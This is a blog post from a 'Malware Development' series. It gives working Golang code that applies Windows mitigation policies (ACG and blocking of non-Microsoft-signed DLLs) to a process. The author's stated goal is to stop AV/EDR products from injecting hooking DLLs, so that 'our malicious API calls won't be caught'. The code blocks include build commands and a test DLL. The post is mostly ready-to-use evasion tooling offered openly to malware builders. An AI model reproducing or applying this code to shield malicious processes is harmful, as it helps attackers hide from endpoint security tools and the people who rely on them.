Malware Development 9 - Protecting processes as blockdlls (Golang)
Introduction
Hello again hackers!
I’ve been traveling for a while in Austria but I am back now. Today we’ll explain how ACG works and what can we do to prevent external DLLs of injecting in our malicious processes.
Explanation
Some AV/EDRs inject their DLLs in our processes to hook userland, so what if our malicious process doesn’t allow them to be injected? Well, they wouldn’t hook the userland and our malicious API calls won’t be caught.
In Windows all processes and threads have “policies” and “attributes”, there are some types of them. Take a look at it here
For example one attribute is the DEP. Data Execution Prevention is a technology built into Windows that helps protect you from executable code launching from places it’s not supposed to. DEP does that by marking some areas of your PC’s memory as being for data only, no executable code or apps will be allowed to run from those areas of memory.
Other attribute, called “PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON”, blocks all non-Microsoft signed DLLs so if you try to load a custom DLL into a process with this attribute it won’t be loaded.
This technique was added to Cobalt Strike in 2019 with the “blockdlls” command and then, @xpn researched about that and he published his foundings about how it worked so all credits to him and his awesome work. See his post here
There also is another technique to protect our processes, using the ACG Guard. @xpn also wrote about this on the same post. Is a security measure which is provided to stop code from allocating and/or modifying executable pages of memory, often required for introducing dynamic code into a process. So if we use this with our malware, EDRs wouldn’t be able to allocate or execute memory pages on our processes.
Let’s see how we can approach some API calls and logic to do that.
Code
Based on ired.team post (see here) about ACG Guard I’ve re-writen it in Golang like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package main
import (
"fmt"
"log"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
/*
typedef struct _PROCESS_MITIGATION_DYNAMIC_CODE_POLICY {
union {
DWORD Flags;
struct {
DWORD ProhibitDynamicCode : 1;
DWORD AllowThreadOptOut : 1;
DWORD AllowRemoteDowngrade : 1;
DWORD AuditProhibitDynamicCode : 1;
DWORD ReservedFlags : 28;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
} PROCESS_MITIGATION_DYNAMIC_CODE_POLICY, *PPROCESS_MITIGATION_DYNAMIC_CODE_POLICY;
*/
type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY struct {
ProhibitDynamicCode uint32
}
func main(){
kernel32 := windows.NewLazyDLL("kernel32.dll")
SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy")
var ProcessDynamicCodePolicy int32 = 2
var dcp PROCESS_MITIGATION_DYNAMIC_CODE_POLICY
dcp.ProhibitDynamicCode = 1
fmt.Println("Calling SetProcessMitigationPolicy...")
ret, _, err := SetProcessMitigationPolicy.Call(
uintptr(ProcessDynamicCodePolicy),
uintptr(unsafe.Pointer(&dcp)),
unsafe.Sizeof(dcp),
)
if ret != 1 {
log.Fatal(err)
}
fmt.Println("ACG policy changed!")
for {
time.Sleep(1000 * time.Millisecond)
}
}
To see processes information we’ll use Process Hacker, in case you don’t have it in your Windows you should install it as it’s really helpful with all this kind of red team and malware development stuff. You can download it here
Compile code
1 GOARCH=amd64 GOOS=windows go build acg.go
Now we transfer and execute it in a Windows machine
As you can see if we right click on our process and then we click on Properties, we see the Mitigation policies. In this case it says “Dynamic code prohibited” so we can confirm that the process is protected by ACG Guard.
Now let’s go with the main part, the non-Microsoft signed DLLs block.
This code is based on other ired.team post (see here) and https://github.com/D00MFist/Go4aRun/ repo, so credits to them. Along the code there’re comments and references to understand better what we’re doing.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
package main
/*
Author: D3Ext
Blog post: https://d3ext.github.io/posts/malware-dev-9/
*/
import (
"fmt"
"log"
"unsafe"
"syscall"
"golang.org/x/sys/windows"
)
/*
Required structures and constants
to interact with Windows API calls
and processes
*/
const (
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
)
/*
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
*/
type StartupInfoEx struct {
windows.StartupInfo
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}
/*
typedef struct _PROC_THREAD_ATTRIBUTE_LIST
{
DWORD dwFlags;
ULONG Size;
ULONG Count;
ULONG Reserved;
PULONG Unknown;
PROC_THREAD_ATTRIBUTE_ENTRY Entries[ANYSIZE_ARRAY];
} PROC_THREAD_ATTRIBUTE_LIST, *LPPROC_THREAD_ATTRIBUTE_LIST;
*/
type PROC_THREAD_ATTRIBUTE_LIST struct {
dwFlags uint32
size uint64
count uint64
reserved uint64
unknown *uint64
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
}
/*
typedef struct _PROC_THREAD_ATTRIBUTE_ENTRY
{
DWORD_PTR Attribute; // PROC_THREAD_ATTRIBUTE_xxx
SIZE_T cbSize;
PVOID lpValue;
} PROC_THREAD_ATTRIBUTE_ENTRY, *LPPROC_THREAD_ATTRIBUTE_ENTRY;
*/
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
attribute *uint32
cbSize uintptr
lpValue uintptr
}
// Moded function from https://github.com/D00MFist/Go4aRun/blob/master/pkg/sliversyscalls/syscalls/zsyscalls_windows.go
// All credits to D00MFist <3
func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
var _p0 uint32
if inheritHandles {
_p0 = 1
} else {
_p0 = 0
}
procCreateProcessW := windows.NewLazyDLL("kernel32.dll").NewProc("CreateProcessW")
r1, _, e1 := syscall.Syscall12(
procCreateProcessW.Addr(),
10,
uintptr(unsafe.Pointer(appName)), // lpApplicationName
uintptr(unsafe.Pointer(commandLine)), // lpCommandLine
uintptr(unsafe.Pointer(procSecurity)), // lpProcessAttributes
uintptr(unsafe.Pointer(threadSecurity)), // lpThreadAttributes
uintptr(_p0), // bInheritHandles
uintptr(creationFlags), // dwCreationFlags
uintptr(unsafe.Pointer(env)), // lpEnvironment
uintptr(unsafe.Pointer(currentDir)), // lpCurrentDirectory
uintptr(unsafe.Pointer(startupInfo)), // lpStartupInfo
uintptr(unsafe.Pointer(outProcInfo)), // lpProcessInformation
0,
0,
)
if r1 == 0 {
if e1 != 0 {
return e1
}
}
return
}
func main(){
fmt.Println("\n[+] Golang BlockDLLs")
// Import dll and API calls
kernel32 := windows.NewLazyDLL("kernel32.dll")
InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
GetProcessHeap := kernel32.NewProc("GetProcessHeap")
HeapAlloc := kernel32.NewProc("HeapAlloc")
HeapFree := kernel32.NewProc("HeapFree")
fmt.Println("[*] Calling InitializeProcThreadAttributeList...")
lpSize := uintptr(0)
InitializeProcThreadAttributeList.Call(
0, // lpAttributeList
2, // dwAttributeCount
0, // dwFlags
uintptr(unsafe.Pointer(&lpSize)), // lpSize
)
fmt.Println("[*] Calling GetProcessHeap...")
procHeap, _, _ := GetProcessHeap.Call()
fmt.Println("[*] Calling HeapAlloc...")
attributeList, _, _ := HeapAlloc.Call(
procHeap,
0,
lpSize,
)
defer HeapFree.Call(procHeap, 0, attributeList)
var sInfo StartupInfoEx
sInfo.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
fmt.Println("[*] Calling InitializeProcThreadAttributeList...")
InitializeProcThreadAttributeList.Call(
uintptr(unsafe.Pointer(sInfo.AttributeList)), // lpAttributeList
2, // dwAttributeCount
0, // dwFlags
uintptr(unsafe.Pointer(&lpSize)), // lpSize
)
// PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY
mitigate := 0x20007
nonms := uintptr(0x100000000000|0x1000000000)
fmt.Println("[*] Calling UpdateProcThreadAttribute...")
UpdateProcThreadAttribute.Call(
uintptr(unsafe.Pointer(sInfo.AttributeList)), // lpAttributeList
0, // dwFlags
uintptr(mitigate), // Attribute
uintptr(unsafe.Pointer(&nonms)), // lpValue
unsafe.Sizeof(nonms), // cbSize
0, // lpPreviousValue
0, // lpReturnSize
)
var si StartupInfoEx
si.AttributeList = sInfo.AttributeList
target := "C:\\Windows\\System32\\notepad.exe"
commandLine, _ := syscall.UTF16PtrFromString(target)
var pi windows.ProcessInformation
si.Cb = uint32(unsafe.Sizeof(si))
creationFlags := windows.EXTENDED_STARTUPINFO_PRESENT
fmt.Println("[*] Calling CreateProcessW...")
err := CreateProcess(
nil,
commandLine,
nil,
nil,
true,
uint32(creationFlags),
nil,
nil,
&si,
&pi,
)
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Process created!\n")
}
This code combines the previous techniques discused above to achieve better results, how can we verify this? Simply, we’ll use Process Hacker again
As you can see the notepad.exe launched as expected and the mitigation policies were applied as expected. Let’s also code a simple DLL (also in Golang) which spawns a MessageBox and then we’ll try to inject it into the notepad.exe, Process Hacker also has a built-in feature to inject a DLL into a process so don’t worry about that.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main
import (
"C"
"log"
"unsafe"
"syscall"
)
//export main
func main(){
ret, _, err := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("Hello! :)"))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("Example Box"))),
uintptr(0),
)
if ret != 0 {
log.Fatal(err)
}
}
Then to convert this code into a DLL compile the file like this:
1
GOARCH=amd64 GOOS=windows CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o dll_to_inject.dll dll_to_inject.go
Let’s test this out
Demo
Compile the main code if you haven’t done it yet
1
GOARCH=amd64 GOOS=windows go build blockdll.go
First of all we test if our MessageBox DLL works
Perfect!
Now let’s execute the .exe again and inject our DLL with Process Hacker, right click on the notepad.exe process, then go to “Miscellaneous” –> “Inject DLL” and select the DLL.
Nothing will happen but if you go to “Properties” –> “Modules” you’ll see all that the Microsoft official DLLs were loaded but not other DLLs like ours.
So we can finally confirm that this technique works and other DLLs aren’t loaded into processes with this mitigation policies
References
1
2
3
4
5
6
7
https://blog.xpnsec.com/protecting-your-malware/
https://www.ired.team/offensive-security/defense-evasion/acg-arbitrary-code-guard-processdynamiccodepolicy
https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes
https://github.com/infosecn1nja/Red-Teaming-Toolkit
https://www.picussecurity.com/resource/blog/how-to-build-a-red-teaming-attack-scenario-part-1
https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/exploit-protection-reference?view=o365-worldwide
https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-process_mitigation_dynamic_code_policy
Conclusion
I hope you’ve learned a lot of things like how ACG Guard and mitigation policies can help us to evade security measures and how we can build malicious DLLs from Golang. I encourage you to take a look at the references as there you have some really interesting posts. Bye!
Source code here